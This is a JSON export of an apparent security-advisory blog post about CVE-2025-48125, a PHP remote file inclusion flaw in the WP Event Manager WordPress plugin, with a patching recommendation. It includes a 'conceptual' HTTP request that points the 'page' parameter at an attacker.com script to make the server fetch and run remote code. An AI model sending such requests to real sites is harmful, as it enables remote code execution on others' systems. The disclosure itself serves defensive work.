{"id":54014,"date":"2025-06-22T11:15:51","date_gmt":"2025-06-22T11:15:51","guid":{"rendered":""},"modified":"2025-09-07T11:38:33","modified_gmt":"2025-09-07T17:38:33","slug":"cve-2025-48125-high-risk-php-remote-file-inclusion-vulnerability-in-wp-event-manager","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-48125-high-risk-php-remote-file-inclusion-vulnerability-in-wp-event-manager\/","title":{"rendered":"CVE-2025-48125: High-Risk PHP Remote File Inclusion Vulnerability in WP Event Manager<\/strong>"},"content":{"rendered":"

Overview<\/strong><\/p>\n

CVE-2025-48125 refers to a high-risk vulnerability found within the WP Event Manager, a popular WordPress event management plugin. This vulnerability, dubbed a PHP Remote File Inclusion (RFI), poses a significant threat to the integrity and confidentiality of data. RFI vulnerabilities can be exploited to include files from remote<\/a> servers, allowing attackers to execute arbitrary code and potentially compromise the system. Given the widespread use of WP Event Manager and the severity of this vulnerability<\/a>, it is crucial for administrators and developers to understand and address this issue promptly.<\/p>\n

Vulnerability Summary<\/strong><\/p>\n

CVE ID: CVE-2025-48125
\nSeverity: High (CVSS Score 8.1)
\nAttack Vector: Network
\nPrivileges Required: Low
\nUser Interaction: None
\nImpact: System compromise, potential data leakage<\/a><\/p>\n

Affected Products<\/strong><\/p>\n

Product | Affected Versions<\/p>\n

WP Event Manager | Up to 3.1.49<\/p>\n

How the Exploit Works<\/strong><\/p>\n

The vulnerability arises due to improper<\/a> control of filenames for include\/require statements in the PHP program of WP Event Manager. An attacker can manipulate these statements to include arbitrary PHP files from a remote<\/a> server. The attacker’s server can deliver malicious scripts, which are then executed in the context of the application<\/a>. This can lead to unauthorized<\/a> disclosure, modification, or even total destruction of data.<\/p>\n

Conceptual Example Code<\/strong><\/p>\n

Below is a conceptual example of how this vulnerability might be exploited:<\/p>\n

GET \/index.php?page=http:\/\/attacker.com\/malicious_script.txt HTTP\/1.1\nHost: vulnerablewebsite.com<\/code><\/pre>\n
In this request, the attacker tries to exploit<\/a> the vulnerability in the “page” parameter. The attacker provides a URL (http:\/\/attacker.com\/malicious_script.txt) instead of a page name. If the application is vulnerable<\/a>, it will include and execute the malicious_script.txt hosted on the attacker’s server.<\/p>\n
Mitigation Guidance<\/strong><\/p>\n
The most effective way to mitigate this vulnerability<\/a> is by applying the vendor’s patch. WP Event Manager version 3.1.50 and later have addressed this vulnerability<\/a>. In cases where immediate patching is not feasible, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as temporary mitigation, blocking requests that appear to exploit this vulnerability<\/a>. However, these measures do not fully address the underlying issue and should be combined with a patch as soon as possible. Regularly updating and patching software remains the best defense against potential exploits<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"
Overview CVE-2025-48125 refers to a high-risk vulnerability found within the WP Event Manager, a popular WordPress event management plugin. This vulnerability, dubbed a PHP Remote File Inclusion (RFI), poses a significant threat to the integrity and confidentiality of data. RFI vulnerabilities can be exploited to include files from remote servers, allowing attackers to execute arbitrary […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"_monsterinsights_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-54014","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t